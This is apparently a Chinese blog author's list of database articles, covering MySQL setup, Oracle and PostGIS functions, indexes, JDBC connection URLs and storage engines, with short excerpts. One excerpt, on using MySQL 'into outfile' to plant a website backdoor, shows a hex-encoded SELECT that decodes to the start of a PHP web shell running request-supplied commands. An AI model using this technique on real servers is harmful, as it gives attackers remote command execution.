Database
xlxxcc
这个作者很懒,什么都没留下…
展开
-
Windows下安装MySQL5.7
win7 64位何安装配置mysql-5.7.41、下载mysql-5.7.4.zip2、解压mysql-5.7.4.zip(路径自指定)3、D:/ProgramFiles/MySQL/MySQL Server 5.7 新建my.ini配置文件 内容: ####################配置文件始################### # For advice on how to chan原创 2016-04-13 23:50:04 · 995 阅读 · 0 评论 -
Oracle Translate 统计字符出现的次数
特殊用法:统计字符串中 E 出现的次数:SELECT LENGTHB(TRANSLATE(‘ABCDEFGEFGDBE’,’E’||’ABCDEFGEFGDBE’,’E’)) FROM DUAL;等同于: SELECT LENGTHB(‘ABCDEFGEFGDBE’)-LENGTHB(REPLACE(‘ABCDEFGEFGDBE’,’E’,”)) FROM DUAL;Translate 的用法一、转载 2017-03-16 09:26:46 · 9819 阅读 · 0 评论 -
PostGIS 常用函数中文介绍说明
转载自:http://www.jsjtt.com/shujuku/postgresql/31.html1.OGC标准函数管理函数: 添加几何字段 AddGeometryColumn(, , , , , ) 删除几何字段 DropGeometryColumn(, , ) 检查数据库几何字段并在geometry_columns中归档 Probe_Geometry_Columns() 给几何对象设转载 2017-03-24 13:01:01 · 29928 阅读 · 0 评论 -
MySql Order By 多个字段 排序规则
说在前面突发奇想,想了解一下mysql order by排序是以什么规则进行的? 好了,话不多说,直接进入正题吧。MySql order by 单字段建一测试表如下:CREATE TABLE `a` ( `code` varchar(255) DEFAULT NULL, `name` varchar(255) DEFAULT NULL) ENGINE=InnoDB DE...原创 2016-08-21 21:15:32 · 260145 阅读 · 11 评论 -
MySQL日志分析
MySQL日志简介MySQL有四种类型的日志:Error Log、General Query Log、Binary Log 和 Slow Query Log。第一种错误日志,记录MySQL运行过程ERROR,WARNING,NOTE等信息,系统出错或者某条记录出问题可以查看ERROR日志。第二种日常运行日志,记录MySQL运行中的每条请求数据。第三种二进制日志,包含了一些事件,这些事件描述了数据库的转载 2016-09-23 15:02:16 · 5993 阅读 · 0 评论 -
利用Mysql into outfile给网站留后门
Mysql into outfile使用Mysql into outfile语句,可以方便导出表格的数据。同样也可以生成某些文件。因此有些人会利用sql注入生成特定代码的文件,然后执行这些文件。将会造成严重的后果。Mysql into outfile 生成PHP文件SELECT 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3原创 2016-09-23 14:32:40 · 9671 阅读 · 0 评论 -
MySQL的Replace into 与Insert into on duplicate key update真正的不同之处
相同点:(1)没有key的时候,replace与insert .. on deplicate udpate相同。 (2)有key的时候,都保留主键值,并且auto_increment自动+1。不同点 有key的时候,replace是delete老记录,而录入新的记录,所以原有的所有记录会被清除,这个时候,如果replace语句的字段不全的话,有些原有的比如例子中c字段的值会被自动填充为默认值。原创 2016-09-05 16:47:04 · 29211 阅读 · 4 评论 -
Mysql 存储过程+事件 定时备份表
一、背景 将界面操作日志存储在MySQL数据库中的operationlog表中,如果该表不能自动备份,表中的数据会越来越多,影响速度。可以定期将表中数据备份到另外一个表中来解决。二、解决方案使用MySQL中的存储过程+事件解决。存储过程逻辑为: 1)创建一个新表operationlog_temp,各字段同operationlog相同; 2)将表operationlog更名为operat转载 2016-09-09 15:53:04 · 9495 阅读 · 0 评论 -
定时添加,删除Mysql分区
注意: 分区指定字段一定是这个表的主健,一段创建好分区,不能跳跃创建和删除步骤: 1、添加、删除分区存储过程脚本 2、Event定时执行 3、创建分区1、创建表 create table mc_stat_trends( udate TIMESTAMP PRIMARY KEY, item varchar(20) not null, node var原创 2016-09-09 15:23:01 · 11310 阅读 · 1 评论 -
MySQL 的存储过程 procedure 与 函数 function 的区别和使用方法
存储过程与函数的区别 本质上没区别,执行的本质都一样。 只是函数有如:只能返回一个变量的限制。而存储过程可以返回多个。 函数是可以嵌入在sql中使用的,可以在select中调用,而存储过程要让sql的query 可以执行, 需要把 mysql_real_connect 的最后一个参数设置为CLIENT_MULTI_STATEMENTS。 函数限制比较多,比如不能用临时表,只能转载 2016-09-09 13:46:47 · 36005 阅读 · 1 评论 -
35 个非主流数据库
几乎每个Web开发人员都有自己喜欢的数据库,或自己最熟悉的数据库,但最常见的无外乎以下几种: MySQL PostgreSQL MSSQL SQLite MS Access 或是更简单的XML,文本文件等。这些数据库有优秀的文档,背后有强大的社区支持,大部分流行的CMS都使用了其中之一或多个,它们都易于使用,大多数托管服务供应商都提供了相应的产品,因此它们的使转载 2016-09-09 00:18:10 · 6208 阅读 · 0 评论 -
MySQL常用系统表大全
MySQL5.7 默认的模式有:information_schema, 具有 61个表; mysql, 具有31个表; performance_schema,具有87个表; sys, 具有1个表.Information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该原创 2016-06-24 18:15:39 · 40812 阅读 · 2 评论 -
ORACLE常用系统表大全
背景:最近一段时间经常需要统计分析数据,使用传统的查询sql语句有时候感觉查询特别慢,便想着,如何使用数据库自带的系统表帮助解决问题,提高效率呢。于是乎便学习到如下:ORACLE的一些常用系统表说明和介绍。 在Oracle中: 数据字典dict总是属于Oracle用户sys的。1:用户信息 dba_users; 改口令:alter user spgroup identified by s原创 2016-06-24 16:50:43 · 15341 阅读 · 0 评论 -
MySQL单列索引和组合索引
单列索引,顾名思义也就是只有一个字段的索引列。 组合索引,又称复合索引,两个或更多个列上的索引被称作复合索引。对于复合索引,他们都遵循左侧原则,也是就是说一个查询可以只使用复合索引最左侧的一部份。例如索引是key index (a,b,c). 可以支持a | a,b| a,b,c 3种组合进行查找,但不支持 b,c进行查找 .当最左侧字段是常量引用时,索引就十分有效。假如:我们有如下的一个表结构:原创 2016-04-14 13:21:53 · 4287 阅读 · 2 评论 -
JDBC 链接oracle的三种URL写法
JDBC 链接oracle的三种URL写法1.普通SID方式 jdbc:oracle:thin:username/password@x.x.x.1:1521:SID 2.普通ServerName方式 jdbc:oracle:thin:username/password@//x.x.x.1:1522/ABCD 3.RAC方式 jdbc:oracle:thin:@(DE原创 2016-04-14 00:27:08 · 12377 阅读 · 2 评论 -
JDBC ipv4和ipv6连接方式
MySQL的ipv4和ipv6连接方式对比 // ipv6连接localhost 方式 String jdbcIpv6Url = "jdbc:mysql://address=(protocol=tcp)(host=::!)(port=3306)/database"; Oracle的ipv4和ipv6连接方式对比 // ipv6连接 String jdbcIpv6Url = "jdbc:oracle:thin:@(D原创 2016-04-13 23:55:55 · 8553 阅读 · 1 评论 -
Windows下MySQL5.6以上版本不能用localhost和127.0.0.1连接问题
问题描述:使用的MySQL5.6安装包默认的安装方式安装的mysql,然后使用Navicat Premium 工具 和 localhost/127.0.0.1链接mysql数据库,结果都弹出提示:Can’t connect to MySQL server on ‘localhost’ (10061)! 一开始以为需要在C:\Windows\System32\drivers\etc\hosts中配置一原创 2016-04-13 23:40:35 · 13360 阅读 · 1 评论 -
Mysql 存储引擎中InnoDB与Myisam的主要区别
说在前面: MyISAM是MySQL的默认数据库引擎(5.5版之前),由早期的ISAM(Indexed Sequential Access Method:有索引的顺序访问方法)所改良。虽然性能极佳,但却有一个缺点:不支持事务处理(transaction)。不过,在这几年的发展下,MySQL也导入了InnoDB(另一种数据库引擎),以强化参考完整性与并发违规处理机制,后来就逐渐取代MyISAM。原创 2017-01-17 21:38:24 · 6367 阅读 · 0 评论